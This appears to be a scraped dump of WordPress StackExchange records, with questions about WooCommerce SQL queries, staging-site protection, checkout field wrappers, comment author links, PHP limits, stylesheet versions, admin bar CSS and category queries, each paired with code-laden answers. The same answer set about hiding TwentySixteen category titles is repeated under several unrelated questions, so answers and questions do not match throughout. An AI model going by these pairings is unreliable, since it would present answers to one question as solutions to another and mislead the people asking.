[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/26
[ "https://wordpress.stackexchange.com/questions/349183", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175735/" ]
I wrote SQL query to get items ID with 'instock' status, but don't know how to add to SELECT only from specified product category. My code: ``` $results = $wpdb->get_col( " SELECT p.ID FROM {$wpdb->prefix}posts as p INNER JOIN {$wpdb->prefix}postmeta as pm ON p.ID = pm.post_id WHERE p.post_type LIKE 'product' AND p.post_status LIKE 'publish' AND pm.meta_key LIKE '_stock_status' AND pm.meta_value LIKE 'instock' " ); ```
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,228
<p>I'm using Bluehost staging options to upload a wp site that I have made locally to a test server and was wondering if there is a solution to password protect the staging/test site so only the people who employ me can see it.</p>
[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/27
[ "https://wordpress.stackexchange.com/questions/349228", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/155468/" ]
I'm using Bluehost staging options to upload a wp site that I have made locally to a test server and was wondering if there is a solution to password protect the staging/test site so only the people who employ me can see it.
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,234
<p>I'm trying to wrap 'some' of the fields of the checkout page in a div and inject some buttons because I am implementing some address validation. </p> <p>Basically to start with I need a wrapper around company, address line 1, address line 2, town and postcode so I can show/hide them but I can't seem to get anything to work. Here's what I've tried - </p> <p>In my filters file:</p> <pre><code>function change_woocommerce_field_markup($field, $key, $args, $value){ if($key === 'billing_company') { $field = '&lt;div class="address-wrapper"&gt;'.$field; } else if ($key === 'billing_postcode') { $field = $field.'&lt;/div&gt;'; } else { $field = $field; } return $field; } add_filter('woocommerce_form_field', '\App\change_woocommerce_field_markup', 10, 4); </code></pre> <p>So I'm prepending and appending the relevant fields with the html that opens and closes the wrapper. However the resultant HTML looks like this:</p> <p><code>&lt;div class="address-wrapper"&gt;&lt;/div&gt; &lt;p class="form-row form-row-first validate-required" id="billing_first_name_field".... &lt;p class="form-row form-row-last validate-required" id="billing_last_name_field"....</code></p> <p>So it's putting the wrapper at the top of the container! I don't get it, what's going on with this?</p> <p>Thanks Kevin</p>
[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/27
[ "https://wordpress.stackexchange.com/questions/349234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/117160/" ]
I'm trying to wrap 'some' of the fields of the checkout page in a div and inject some buttons because I am implementing some address validation. Basically to start with I need a wrapper around company, address line 1, address line 2, town and postcode so I can show/hide them but I can't seem to get anything to work. Here's what I've tried - In my filters file: ``` function change_woocommerce_field_markup($field, $key, $args, $value){ if($key === 'billing_company') { $field = '<div class="address-wrapper">'.$field; } else if ($key === 'billing_postcode') { $field = $field.'</div>'; } else { $field = $field; } return $field; } add_filter('woocommerce_form_field', '\App\change_woocommerce_field_markup', 10, 4); ``` So I'm prepending and appending the relevant fields with the html that opens and closes the wrapper. However the resultant HTML looks like this: `<div class="address-wrapper"></div> <p class="form-row form-row-first validate-required" id="billing_first_name_field".... <p class="form-row form-row-last validate-required" id="billing_last_name_field"....` So it's putting the wrapper at the top of the container! I don't get it, what's going on with this? Thanks Kevin
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,249
<p>I can't manage to disable the URL of only the author's post. Here's an example : <a href="https://i.imgur.com/Iiimo5Q.png" rel="nofollow noreferrer">My website</a></p> <p>As you can see, the green link is mine (the author of the post). I only want to remove that link, not other comments links. </p> <p>How can I do this? I have tried altering this bit of code in functions.php, but it didn't do what I want (it's removing everyone URL, not just mine):</p> <pre><code> add_filter( 'get_comment_author_link', 'rv_remove_comment_author_link', 10, 3 ); function rv_remove_comment_author_link( $url, $author, $comment_ID ) { return $author; } </code></pre> <p>Thanks for your help.</p>
[ { "answer_id": 349177, "author": "Rayat", "author_id": 175800, "author_profile": "https://wordpress.stackexchange.com/users/175800", "pm_score": 2, "selected": true, "text": "<p>That title is coming from <code>archive.php</code> file of TwentySixteen theme.</p>\n\n<p>You can find a <code>&lt;header&gt;</code> code section in that file.</p>\n\n<p>What you can do, simply copy the <code>archive.php</code> file as <code>category.php</code>\nand then remove the following code section from <code>category.php</code> file:</p>\n\n<pre><code>&lt;header class=\"page-header\"&gt;\n &lt;?php\n the_archive_title( '&lt;h1 class=\"page-title\"&gt;', '&lt;/h1&gt;' );\n the_archive_description( '&lt;div class=\"taxonomy-description\"&gt;', '&lt;/div&gt;' );\n ?&gt;\n&lt;/header&gt;&lt;!-- .page-header --&gt;\n</code></pre>\n\n<p>In case you want to show only Category name as page title, then instead of removing the above code from <code>category.php</code> file, just replace the <code>the_archive_title</code> method with:</p>\n\n<pre><code>printf('&lt;h1 class=\"page-title\"&gt;%1$s&lt;/h1&gt;', single_cat_title('', false));\n</code></pre>\n" }, { "answer_id": 349179, "author": "keetykat", "author_id": 175799, "author_profile": "https://wordpress.stackexchange.com/users/175799", "pm_score": 0, "selected": false, "text": "<p>To add to the previous answer, if you don't want to remove/add code to the PHP file, you can also add this via CSS to hide that section:</p>\n\n<pre><code>.category h1.page-title {\n display: none;\n}\n</code></pre>\n\n<p>You can add this to style.css or go to Customize > Additional CSS</p>\n" }, { "answer_id": 368303, "author": "ishu", "author_id": 189422, "author_profile": "https://wordpress.stackexchange.com/users/189422", "pm_score": 0, "selected": false, "text": "<p>To stop category title from displaying in the front end post. just follow below steps.\nAdd this line to additional CSS </p>\n\n<p><code>.cat-links { display: none; }</code> </p>\n" } ]
2019/09/27
[ "https://wordpress.stackexchange.com/questions/349249", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175856/" ]
I can't manage to disable the URL of only the author's post. Here's an example : [My website](https://i.imgur.com/Iiimo5Q.png) As you can see, the green link is mine (the author of the post). I only want to remove that link, not other comments links. How can I do this? I have tried altering this bit of code in functions.php, but it didn't do what I want (it's removing everyone URL, not just mine): ``` add_filter( 'get_comment_author_link', 'rv_remove_comment_author_link', 10, 3 ); function rv_remove_comment_author_link( $url, $author, $comment_ID ) { return $author; } ``` Thanks for your help.
That title is coming from `archive.php` file of TwentySixteen theme. You can find a `<header>` code section in that file. What you can do, simply copy the `archive.php` file as `category.php` and then remove the following code section from `category.php` file: ``` <header class="page-header"> <?php the_archive_title( '<h1 class="page-title">', '</h1>' ); the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> </header><!-- .page-header --> ``` In case you want to show only Category name as page title, then instead of removing the above code from `category.php` file, just replace the `the_archive_title` method with: ``` printf('<h1 class="page-title">%1$s</h1>', single_cat_title('', false)); ```
349,400
<p>Am trying to set <strong>maximum execution time</strong>, <strong>memory limit</strong>, <strong>max upload</strong> that can be execute by the script. I can do that in php as follows.</p> <pre><code>ini_set('max_execution_time', '300'); //300 seconds = 5 minutes ini_set('memory_limit', '64M'); //maximum mb to be consumed by script ini_set('upload_max_size', '4M'); //maximum mb to be uploaded by script </code></pre> <p>My question is what is the wordpress equivalent ways of doing that. Thanks</p>
[ { "answer_id": 349569, "author": "chinazaike", "author_id": 175875, "author_profile": "https://wordpress.stackexchange.com/users/175875", "pm_score": -1, "selected": false, "text": "<p>The best option that I have was to set the codes below on top of the page of every script that runs my applications</p>\n\n<pre><code>ini_set('max_execution_time', '300'); //300 seconds = 5 minutes\nini_set('memory_limit', '64M'); //maximum mb to be consumed by script\nini_set('upload_max_size', '4M'); //maximum mb to be uploaded by script\n</code></pre>\n" }, { "answer_id": 349571, "author": "Bruno Vincent", "author_id": 94051, "author_profile": "https://wordpress.stackexchange.com/users/94051", "pm_score": 0, "selected": false, "text": "<p>Have you tried this?</p>\n\n<p>Add the following to wp-config.php:</p>\n\n<p>set_time_limit(300);</p>\n\n<p>Add the following to .htaccess:</p>\n\n<p>php_value max_execution_time 300</p>\n" }, { "answer_id": 349589, "author": "Vantiya", "author_id": 92361, "author_profile": "https://wordpress.stackexchange.com/users/92361", "pm_score": 0, "selected": false, "text": "<p>You can set all those into wp-config.php file. You can see that file in WordPress root.</p>\n\n<pre><code>ini_set('max_execution_time', '300'); //300 seconds = 5 minutes\nini_set('memory_limit', '64M'); //maximum mb to be consumed by script\nini_set('upload_max_size', '4M'); //maximum mb to be uploaded by script\n</code></pre>\n\n<p>Apart from this you can set that into .htaccess file as well.</p>\n\n<pre><code>php_value max_execution_time 300\nphp_value memory_limit 64M\nphp_value upload_max_size 4M\n</code></pre>\n\n<p>if you have user.ini file you can define those values as well</p>\n\n<pre><code>max_execution_time = 300\nmemory_limit = 64M\npost_max_size = 4M\n</code></pre>\n" } ]
2019/09/30
[ "https://wordpress.stackexchange.com/questions/349400", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175875/" ]
Am trying to set **maximum execution time**, **memory limit**, **max upload** that can be execute by the script. I can do that in php as follows. ``` ini_set('max_execution_time', '300'); //300 seconds = 5 minutes ini_set('memory_limit', '64M'); //maximum mb to be consumed by script ini_set('upload_max_size', '4M'); //maximum mb to be uploaded by script ``` My question is what is the wordpress equivalent ways of doing that. Thanks
Have you tried this? Add the following to wp-config.php: set\_time\_limit(300); Add the following to .htaccess: php\_value max\_execution\_time 300
349,415
<p>I'm working on <a href="https://afterimagedesigns.com/wp-bootstrap-starter/?dashboard=1" rel="nofollow noreferrer">Wordpress + Bootstrap 4</a> by customising according to the design. The default style.css loads as:</p> <pre><code>&lt;link rel='stylesheet' id='wp-bootstrap-starter-style-css' href='http://localhost/hrone/wp-content/themes/theme_name/style.css?ver=5.2.3' type='text/css' media='all' /&gt; </code></pre> <p>I would like to change the version from 5.2.3 to 5.2.4 or auto change it time base. How do I go about doing this? I have just 1 css file since this is a custom theme.</p>
[ { "answer_id": 349418, "author": "Dallas Price", "author_id": 103843, "author_profile": "https://wordpress.stackexchange.com/users/103843", "pm_score": -1, "selected": false, "text": "<p>Change the version number in your style.css file.</p>\n\n<p>Edit: I misunderstood. I think that's the WordPress version.</p>\n" }, { "answer_id": 349421, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 1, "selected": false, "text": "<p>It's using <code>5.2.3</code> because no version was specified when <code>style.css</code> was enqueued/registered. So it fell back to the version of WordPress.</p>\n\n<p>If you pass in a version when calling <code>wp_enqueue_style</code>, it will use that value instead</p>\n" }, { "answer_id": 349432, "author": "C0c0b33f", "author_id": 173627, "author_profile": "https://wordpress.stackexchange.com/users/173627", "pm_score": 0, "selected": false, "text": "<p>In your functions.php file (you're using a custom child theme, right?) change/add the version parameter to <code>wp_get_theme()-&gt;get( 'Version' )</code> this will pull the version number from your theme's style.css file.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_style/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/wp_enqueue_style/</a></p>\n\n<p>Setting this parameter to false will use the WordPress version. </p>\n\n<p>wp_get_theme() returns the theme object for the current theme which contains the version. \nwp_get_theme()->parent()->get( 'Version' ) will return the parent themes version.</p>\n\n<pre><code>$parent_style = 'wp-bootstrap-starter';\nwp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css', false, wp_get_theme()-&gt;parent()-&gt;get( 'Version' ) );\n\nwp_enqueue_style(\n 'child-style',\n get_stylesheet_directory_uri() . '/style.css',\n array( $parent_style ),\n wp_get_theme()-&gt;get( 'Version' )\n);\n</code></pre>\n" } ]
2019/09/30
[ "https://wordpress.stackexchange.com/questions/349415", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135113/" ]
I'm working on [Wordpress + Bootstrap 4](https://afterimagedesigns.com/wp-bootstrap-starter/?dashboard=1) by customising according to the design. The default style.css loads as: ``` <link rel='stylesheet' id='wp-bootstrap-starter-style-css' href='http://localhost/hrone/wp-content/themes/theme_name/style.css?ver=5.2.3' type='text/css' media='all' /> ``` I would like to change the version from 5.2.3 to 5.2.4 or auto change it time base. How do I go about doing this? I have just 1 css file since this is a custom theme.
It's using `5.2.3` because no version was specified when `style.css` was enqueued/registered. So it fell back to the version of WordPress. If you pass in a version when calling `wp_enqueue_style`, it will use that value instead
349,491
<p>I am trying to remove the annoying WP Admin bar css.</p> <pre><code>&lt;style type="text/css" media="screen"&gt; html { margin-top: 32px !important; } * html body { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } * html body { margin-top: 46px !important; } } &lt;/style&gt; </code></pre> <p>I have tried (according to other OLD answers):</p> <pre><code>/** * Remove admin bar CSS */ function remove_admin_login_header() { remove_action('wp_head', '_admin_bar_bump_cb'); } add_action('get_header', 'remove_admin_login_header'); </code></pre> <p>It does not work.</p>
[ { "answer_id": 349494, "author": "Dallas Price", "author_id": 103843, "author_profile": "https://wordpress.stackexchange.com/users/103843", "pm_score": 1, "selected": false, "text": "<p>Good morning!</p>\n\n<p>This filter should work <code>add_filter('show_admin_bar', '__return_false');</code> right from the <a href=\"https://codex.wordpress.org/Function_Reference/show_admin_bar\" rel=\"nofollow noreferrer\">wordpress codex.</a></p>\n\n<p>Alternatively, you can disable it from specific users.<a href=\"https://i.stack.imgur.com/Xctqf.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Xctqf.jpg\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 349495, "author": "Vincent Guesné", "author_id": 9716, "author_profile": "https://wordpress.stackexchange.com/users/9716", "pm_score": 1, "selected": false, "text": "<p>You can disable it for everybody :</p>\n\n<pre><code>add_filter('show_admin_bar', '__return_false');\n</code></pre>\n\n<p>or do conditionally hide it :</p>\n\n<pre><code> add_filter('show_admin_bar', 'my_function_to_hide_it');\nfunction my_function_to_hide_it(){\n// condition and return true or false \n}\n</code></pre>\n\n<p>All details there : <a href=\"https://codex.wordpress.org/Function_Reference/show_admin_bar\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/show_admin_bar</a></p>\n" }, { "answer_id": 371028, "author": "Pacicio", "author_id": 180151, "author_profile": "https://wordpress.stackexchange.com/users/180151", "pm_score": 0, "selected": false, "text": "<p>This filter removes the CSS and hides the adminbar on the entire site:</p>\n<pre><code>function hide_admin_bar_from_front_end(){\n remove_action( 'wp_head', '_admin_bar_bump_cb' );\n return false;\n}\nadd_filter( 'show_admin_bar', 'hide_admin_bar_from_front_end' );\n</code></pre>\n<p>If you want to disable the CSS only, you must return <code>true</code> instead of <code>false</code>.</p>\n<p>If you need it conditionally:</p>\n<pre><code>function wpse_maybe_remove_adminbar() {\n if ( your_condition ) {\n add_filter( 'show_admin_bar', 'hide_admin_bar_from_front_end' );\n }\n}\nadd_action('wp_head', 'wpse_maybe_remove_adminbar', 0);\n\nfunction hide_admin_bar_from_front_end(){\n remove_action( 'wp_head', '_admin_bar_bump_cb' );\n return false;\n}\n</code></pre>\n" }, { "answer_id": 382709, "author": "Christopher Geary", "author_id": 186646, "author_profile": "https://wordpress.stackexchange.com/users/186646", "pm_score": 1, "selected": false, "text": "<p>The correct way according to a comment in the WordPress source code <a href=\"https://github.com/WordPress/WordPress/blob/d7c0343d5f7e0efdad5b7dce64981e74f5d0b7a0/wp-includes/class-wp-admin-bar.php#L59-L62\" rel=\"nofollow noreferrer\">wp-includes/class-wp-admin-bar.php:60</a> is to remove the CSS callback via theme support.</p>\n<p>This would look like:</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_action('after_setup_theme', function () {\n add_theme_support('admin-bar', ['callback' =&gt; '__return_false']);\n});\n</code></pre>\n" } ]
2019/10/01
[ "https://wordpress.stackexchange.com/questions/349491", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/50042/" ]
I am trying to remove the annoying WP Admin bar css. ``` <style type="text/css" media="screen"> html { margin-top: 32px !important; } * html body { margin-top: 32px !important; } @media screen and ( max-width: 782px ) { html { margin-top: 46px !important; } * html body { margin-top: 46px !important; } } </style> ``` I have tried (according to other OLD answers): ``` /** * Remove admin bar CSS */ function remove_admin_login_header() { remove_action('wp_head', '_admin_bar_bump_cb'); } add_action('get_header', 'remove_admin_login_header'); ``` It does not work.
Good morning! This filter should work `add_filter('show_admin_bar', '__return_false');` right from the [wordpress codex.](https://codex.wordpress.org/Function_Reference/show_admin_bar) Alternatively, you can disable it from specific users.[![enter image description here](https://i.stack.imgur.com/Xctqf.jpg)](https://i.stack.imgur.com/Xctqf.jpg)
349,499
<p>I have a template created where I want to call up all post types, but display only those from a common category. The results I'm getting are all normal blog posts and some from one of the custom post types. I have rechecked multiple times and I am using the correct template on my test page. I have cleared the cache. </p> <p>On the test page at this link: <a href="https://moneysmartfamily.com/budgeting-category-test/" rel="nofollow noreferrer">https://moneysmartfamily.com/budgeting-category-test/</a> you'll see a list of blog posts. The category I'm trying to display is "budget". The category for each post is at the end of the meta line. You'll see that more than "budget" is being pulled up. If you scroll down to July 25, you'll see posts without categories mentioned. Those are from the CPTs. (I don't understand why they don't have categories listed, though. But they are there.)</p> <p>My query args should list only 'budget' category posts from all post types, but I'm getting all the categories showing from regular posts. How can I ensure that I only get the category I want to see when this runs?</p> <p>I created these custom post types in a Meta Box plugin, and each CPT has a custom taxonomy. I'm wondering if I need to combine the taxonomy names in a way to ensure they are being used. Can anyone point out examples of how this has been done elsewhere so I can figure this out?</p> <p>Here is my template code so you can see what I'm trying to do.</p> <pre><code>&lt;?php /** * Template Name: Category - Budgeting * * * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); $args = array( 'category_name' =&gt; array( 'budget' ), // category_name (string) – use category slug. ); // This query should now only have the post_type in the args above that are in the category budget. $this_query = new WP_Query( $args ); ?&gt; &lt;div id="primary" class="site-content"&gt; &lt;div id="content" role="main"&gt; &lt;?php if ( $this_query-&gt;have_posts() ) : while ( $this_query-&gt;have_posts() ) : $this_query-&gt;the_post(); $post_id = get_the_ID(); // In case you need to use the post ID ?&gt; &lt;?php if( has_post_thumbnail() ): ?&gt; &lt;header class="entry-header"&gt; &lt;h1 class="entry-title"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;" rel="bookmark"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt; &lt;/h1&gt; &lt;span class="post-meta"&gt;Author &lt;?php the_author_posts_link(); ?&gt; | &lt;?php the_time('F jS, Y'); ?&gt; | &lt;?php the_category(', '); ?&gt;&lt;/span&gt; &lt;/header&gt;&lt;!-- .entry-header --&gt; &lt;div class="entry-summary"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_post_thumbnail('thumbnail', array('class' =&gt; 'alignleft')); ?&gt;&lt;/a&gt;&lt;?php the_excerpt(); ?&gt; &lt;/div&gt;&lt;!-- .entry-summary --&gt; &lt;?php endif; ?&gt; &lt;?php endwhile; wp_reset_postdata(); endif; ?&gt; &lt;/div&gt;&lt;!-- #content --&gt; &lt;/div&gt;&lt;!-- #primary --&gt; &lt;?php get_sidebar(); ?&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>UPDATE: After some detective work figuring out how to do multiple tax queries and several tries, I tried this setup in the args and got blank content. Is there something that stands out to you as to why this isn't working? I'm learning queries right now so some advice would be very appreciated. Thanks!</p> <pre><code> $args = array( 'post_type' =&gt; array( 'post', 'media-appearance', 'members-archive', 'money-saving-tips', 'review' ), 'tax_query' =&gt; array( 'relation' =&gt; 'AND', array( 'taxonomy' =&gt; 'post', 'terms' =&gt; 'budget', 'field' =&gt; 'slug', 'operator' =&gt; 'IN', ), array( 'taxonomy' =&gt; 'money-savings-tips-categories', 'terms' =&gt; 'budget', 'field' =&gt; 'slug', 'operator' =&gt; 'IN', ), array( 'taxonomy' =&gt; 'reviews-categories', 'terms' =&gt; 'budget', 'field' =&gt; 'slug', 'operator' =&gt; 'IN', ), array( 'taxonomy' =&gt; 'media-appearance-categories', 'terms' =&gt; 'budget', 'field' =&gt; 'slug', 'operator' =&gt; 'IN', ), array( 'taxonomy' =&gt; 'member-archives-categories', 'terms' =&gt; 'budget', 'field' =&gt; 'slug', 'operator' =&gt; 'IN', ), ), ); </code></pre>
[ { "answer_id": 349649, "author": "Jess_Pinkman", "author_id": 171161, "author_profile": "https://wordpress.stackexchange.com/users/171161", "pm_score": 1, "selected": false, "text": "<ol>\n<li>category_name should take a string, not an array I believe</li>\n<li>post_type is not mentioned as an arg, and thus defaults to 'post'</li>\n</ol>\n\n<p>so try:</p>\n\n<pre><code> $args = array(\n 'post_type' =&gt; 'any', //or use cpt slug as string, or array of strings if multiple\n 'category_name' =&gt; 'budget', //use 'budget,premium' if you want posts with budget OR premium, use 'budget+premium' if you want budget AND premium. \n );\n\n $this_query = new WP_Query( $args ); ?&gt; \n</code></pre>\n" }, { "answer_id": 349657, "author": "Sabbir Hasan", "author_id": 76587, "author_profile": "https://wordpress.stackexchange.com/users/76587", "pm_score": 0, "selected": false, "text": "<p>In your multi-taxonomy query just change the relationship to \"OR\" . that should do the work.</p>\n" } ]
2019/10/01
[ "https://wordpress.stackexchange.com/questions/349499", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/99384/" ]
I have a template created where I want to call up all post types, but display only those from a common category. The results I'm getting are all normal blog posts and some from one of the custom post types. I have rechecked multiple times and I am using the correct template on my test page. I have cleared the cache. On the test page at this link: <https://moneysmartfamily.com/budgeting-category-test/> you'll see a list of blog posts. The category I'm trying to display is "budget". The category for each post is at the end of the meta line. You'll see that more than "budget" is being pulled up. If you scroll down to July 25, you'll see posts without categories mentioned. Those are from the CPTs. (I don't understand why they don't have categories listed, though. But they are there.) My query args should list only 'budget' category posts from all post types, but I'm getting all the categories showing from regular posts. How can I ensure that I only get the category I want to see when this runs? I created these custom post types in a Meta Box plugin, and each CPT has a custom taxonomy. I'm wondering if I need to combine the taxonomy names in a way to ensure they are being used. Can anyone point out examples of how this has been done elsewhere so I can figure this out? Here is my template code so you can see what I'm trying to do. ``` <?php /** * Template Name: Category - Budgeting * * * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); $args = array( 'category_name' => array( 'budget' ), // category_name (string) – use category slug. ); // This query should now only have the post_type in the args above that are in the category budget. $this_query = new WP_Query( $args ); ?> <div id="primary" class="site-content"> <div id="content" role="main"> <?php if ( $this_query->have_posts() ) : while ( $this_query->have_posts() ) : $this_query->the_post(); $post_id = get_the_ID(); // In case you need to use the post ID ?> <?php if( has_post_thumbnail() ): ?> <header class="entry-header"> <h1 class="entry-title"> <a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a> </h1> <span class="post-meta">Author <?php the_author_posts_link(); ?> | <?php the_time('F jS, Y'); ?> | <?php the_category(', '); ?></span> </header><!-- .entry-header --> <div class="entry-summary"> <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail('thumbnail', array('class' => 'alignleft')); ?></a><?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php endif; ?> <?php endwhile; wp_reset_postdata(); endif; ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?> ``` UPDATE: After some detective work figuring out how to do multiple tax queries and several tries, I tried this setup in the args and got blank content. Is there something that stands out to you as to why this isn't working? I'm learning queries right now so some advice would be very appreciated. Thanks! ``` $args = array( 'post_type' => array( 'post', 'media-appearance', 'members-archive', 'money-saving-tips', 'review' 